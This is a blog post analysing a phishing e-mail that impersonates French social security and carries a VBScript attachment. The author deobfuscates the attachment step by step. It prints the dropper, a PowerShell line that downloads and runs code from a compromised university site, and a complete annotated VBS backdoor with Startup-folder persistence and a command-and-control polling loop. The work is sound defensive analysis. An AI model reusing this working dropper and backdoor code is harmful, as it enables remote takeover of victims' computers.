Quick analysis of a virus
I just received a spam e-mail impersonating the French social security (“Assurance Maladie”), which tells me to download my tax statement which they have graciously attached.
There are multiple things to notice here:
- the sender address: [email protected]
- onmicrosoft.com is used by Office 365 addresses, so they probably used Azure or something like that
- the whole message is a picture, probably a screenshot of a real e-mail. Well, at least that way they don’t write a fake message in broken Google-Translated French
Now, the attachments.
No PDF file, that’s unusual, it’s quite common for this kind of spam, but rejoice! we have a VBScript file right there.
(the CSV file and the .bin file don’t contain anything interesting, or at least I didn’t find anything interesting in them)
Here is the VBS file, raw as I received it:
1
on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:JPHgjNP = replace("WiDDXetmcript.iDDXetmhEll","iDDXetm","s"):Set cfAKtQG = CreateObject(JPHgjNP ):izZHSpc = Replace("POWlZsTwIURSHlZsTwIULL","lZsTwIU","E"):WScript.Sleep 2000:WScript.Sleep 2000:cfAKtQGcfAKtQGNXPDFLW = " $00Q1KNH<##>='(New-';[<##>System.Threading.Thread<##>]::Sleep(2300);$AD77UAZ<##> = '!!!!!!!!!!!! '.Replace(<##>'!!!!!!!!!!!!'<##>,'Object'<##>);<##>$UDKKQV0 <##>= <##>'Net'<##>;<##>$E6IWW9R<##> = <##>'.We';[<##>System.Threading.Thread<##>]::Sleep(2300);<##>$G4OKYRL<##>='.Downlo';<##>$ZT2X8YH<##> = <##>'bClient)';<##>$OOK2YVD=<##>'adString(''https://cursosinf.webs.upv.es/wp-includes//js/jcrop/4.txt'')'<##>;<##>[<##>System.Threading.Thread<##>]::Sleep(2300);$8ZRVUBH<##>=I`E`X (<##>$00Q1KNH<##>,<##>$AD77UAZ<##>,<##>$UDKKQV0<##>,<##>$E6IWW9R<##>,<##>$ZT2X8YH<##>,<##>$G4OKYRL<##>,$OOK2YVD<##> <##>-Join <##>''<##>)<##>|I`E`X":cfAKtQG.Run(izZHSpc+cfAKtQGcfAKtQGNXPDFLW+""),0,True:Set cfAKtQG = Nothing
Quite unreadable, if you ask me. Here is it after replacing all the :
by line breaks, after evaluating the replace(
calls and merging all the strings together:
1
2
3
4
5
6
7
8
9
10
11
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
WScript.Sleep 2000
WScript.Sleep 2000
CreateObject("Wscript.shEll").Run("POWERSHELL $00Q1KNH<##>='(New-';[<##>System.Threading.Thread<##>]::Sleep(2300);$AD77UAZ<##> = '!!!!!!!!!!!! '.Replace(<##>'!!!!!!!!!!!!'<##>,'Object'<##>);<##>$UDKKQV0 <##>= <##>'Net'<##>;<##>$E6IWW9R<##> = <##>'.We';[<##>System.Threading.Thread<##>]::Sleep(2300);<##>$G4OKYRL<##>='.Downlo';<##>$ZT2X8YH<##> = <##>'bClient)';<##>$OOK2YVD=<##>'adString(''https://cursosinf.webs.upv.es/wp-includes//js/jcrop/4.txt'')'<##>;<##>[<##>System.Threading.Thread<##>]::Sleep(2300);$8ZRVUBH<##>=I`E`X (<##>$00Q1KNH<##>,<##>$AD77UAZ<##>,<##>$UDKKQV0<##>,<##>$E6IWW9R<##>,<##>$ZT2X8YH<##>,<##>$G4OKYRL<##>,$OOK2YVD<##> <##>-Join <##>''<##>)<##>|I`E`X"),0,True
Sleeps 4 seconds and runs PowerShell with some weird code. Let’s have a look at the PowerShell code:
1
$00Q1KNH<##>='(New-';[<##>System.Threading.Thread<##>]::Sleep(2300);$AD77UAZ<##> = '!!!!!!!!!!!! '.Replace(<##>'!!!!!!!!!!!!'<##>,'Object'<##>);<##>$UDKKQV0 <##>= <##>'Net'<##>;<##>$E6IWW9R<##> = <##>'.We';[<##>System.Threading.Thread<##>]::Sleep(2300);<##>$G4OKYRL<##>='.Downlo';<##>$ZT2X8YH<##> = <##>'bClient)';<##>$OOK2YVD=<##>'adString(''https://cursosinf.webs.upv.es/wp-includes//js/jcrop/4.txt'')'<##>;<##>[<##>System.Threading.Thread<##>]::Sleep(2300);$8ZRVUBH<##>=I`E`X (<##>$00Q1KNH<##>,<##>$AD77UAZ<##>,<##>$UDKKQV0<##>,<##>$E6IWW9R<##>,<##>$ZT2X8YH<##>,<##>$G4OKYRL<##>,$OOK2YVD<##> <##>-Join <##>''<##>)<##>|I`E`X
Let’s remove all those <##>
s and merge all those strings:
1
2
3
4
[System.Threading.Thread]::Sleep(2300);
[System.Threading.Thread]::Sleep(2300);
[System.Threading.Thread]::Sleep(2300);
$8ZRVUBH=I`E`X ('(New-Object Net.WebClient).DownloadString(''https://cursosinf.webs.upv.es/wp-includes//js/jcrop/4.txt'')' -Join '')|I`E`X
Much more readable! So this is just sleeping about 7 seconds and then… it downloads a text file… and runs it? Let’s have a look at the link.
upv.es
is the official website of the Universitat Politècnica de València (Technical University of Valencia). webs.upv.es
is the subdomain corresponding to the Web hosting service provided by the university. cursosinf.webs.upv.es
corresponds, I can only guess, to the IT department of the school.
The website is empty at the time I’m writing:
But the file itself is still online, and looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try
{
$OutPath = "C:\ProgramData\Links"
if (-not (Test-Path $OutPath))
{
New-Item $OutPath -ItemType Directory -Force
}
(New-Object Net.WebClient).DownloadFile('https://cursosinf.webs.upv.es/wp-includes//js/jcrop/1.txt', 'C:\ProgramData\Links\1.bat')
Start-Sleep 3
start C:\ProgramData\Links/1.bat
Start-Sleep 10
$Content = @'
<binary content>
This downloads a batch file which we’ll analyse later.
Right now, it’s creating an(other) VBS file (comments are mine):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
On error resume next
Public IP, Port, SPL, A, StartupCheck
Set WshNetwork = CreateObject("Wscript.Network")
Set MyObject = CreateObject("Wscript.Shell")
' C&C (Command and Control server)
IP = "185.81.157.26"
Port = "5734"
StartupCheck = "True"
SPL = "|" & "V" & "|"
' Sends an AJAX request
Function POST(ByVal DA, ByVal Param)
On error resume next
Dim MSXML, PO, HTTP, UserAgent
MSXML = "Microsoft.XMLHTTP"
PO = "POST"
HTTP = "http://"
UserAgent = "User-Agent:"
Dim ResponseText
Set ObjHTTP = CreateObject(MSXML)
ObjHTTP.Open PO, HTTP & IP & ":" & Port & "/" & DA, False
ObjHTTP.SetRequestHeader UserAgent, INF
ObjHTTP.Send Param
ResponseText = ObjHTTP.ResponseText
POST = ResponseText
End Function
' Installs the current script in the Startup folder, so that it gets executed at each boot
Sub Installation()
If StartupCheck = "True" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CopyFile Wscript.ScriptFullName, MyObject.SpecialFolders("Startup") & "\Install32.vbs"
End If
End Sub
Call Installation
Function RandomString()
Dim str, min, max
Const LETTERS = "ABCDEFGHIJKLMOPQRSTVWXYZ0123456789"
min = 1
max = 15
Randomize
For i = 1 to 15
str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )
Next
RandomString = str
End Function
' Fetches the version info using WMIC to know what Windows version the computer is running
Function HWID
Dim objWMIService, colItems, result
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("SELECT Version FROM Win32_ComputerSystemProduct")
For Each objItem in colItems
result = result & objItem.IdentifyingNumber
Next
HWID = result
End Function
' Generates a string with the format
' \PCNAME\Account\Microsoft Windows 10 Professionnel\Windows Defender\Yes\Yes\FALSE\
Function INF
Dim VR, AV, OS, PC, USER, ID
VR = "v0.2"
AV = "Windows Defender"
PC = WshNetwork.ComputerName
USER = WshNetwork.UserName
ID = HWID
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem",,48)
For Each objItem in colItems
OS = OS + objItem.Caption
Next
INF = ID & "\" & PC & "\" & USER & "\" & OS & "\" & AV & "\" & "Yes" & "\" & "Yes" & "\" & "FALSE" & "\"
End Function
' Creates a file, fills it with the specified content
' If the extension is PS1, run it with PowerShell
' Otherwise, run it directly
Sub CreateEmptyFile(ByVal Content, ByVal Filename)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile(FSO.GetSpecialFolder(2) & "\" & Filename, 2, True)
FileToWrite.WriteLine(Content)
FileToWrite.Close
Set FileToWrite = Nothing
WScript.Sleep 2000
If InStr(Filename, ".PS1") = 0 Then
MyObject.RuN FSO.GetSpecialFolder(2) & "\" & Filename
Else
MyObject.ruN "POWERSHELL -EXECUTIONPOLICY REMOTESIGNED -FILE " + FSO.GetSpecialFolder(2) & "\" & Filename, 0
End If
End Sub
' The interesting part!
' The main control loop
' This fetches, every 3 seconds, a "command" from the C&C server
' This is how the server "tells" the infected computer what to do
Do While True
A = Split(POST("Vre", ""), SPL)
Select Case A(0)
' creates and run a file with content and filename
Case "RF"
CreateEmptyFile A(1), A(2)
' creates and run a PowerShell file with content and random filename
Case "TR"
CreateEmptyFile A(1), RandomString & ".PS1"
' stops the control script
Case "Cl"
Wscript.Quit
' creates and run a VBscript file with content and random filename
Case "exc"
CreateEmptyFile A(1), RandomString & ".vbs"
' same as RF, no idea why they made two of them
Case "Sc"
CreateEmptyFile A(1), A(2)
' same as Cl
Case "Un"
Wscript.Quit
End Select
WScript.Sleep 3000
Loop
The VBS file is then saved and launched:
1
2
3
4
5
6
7
'@
Set-Content -Path C:\ProgramData\Links\install.vbs -Value $Content
Start-Sleep 3
start C:\ProgramData\Links\install.vbs
} catch { }
It’s quite interesting how “simple” the virus is, really. At the bottom of it, it’s just a loop that infinitely POSTs to a server and does something depending on the response.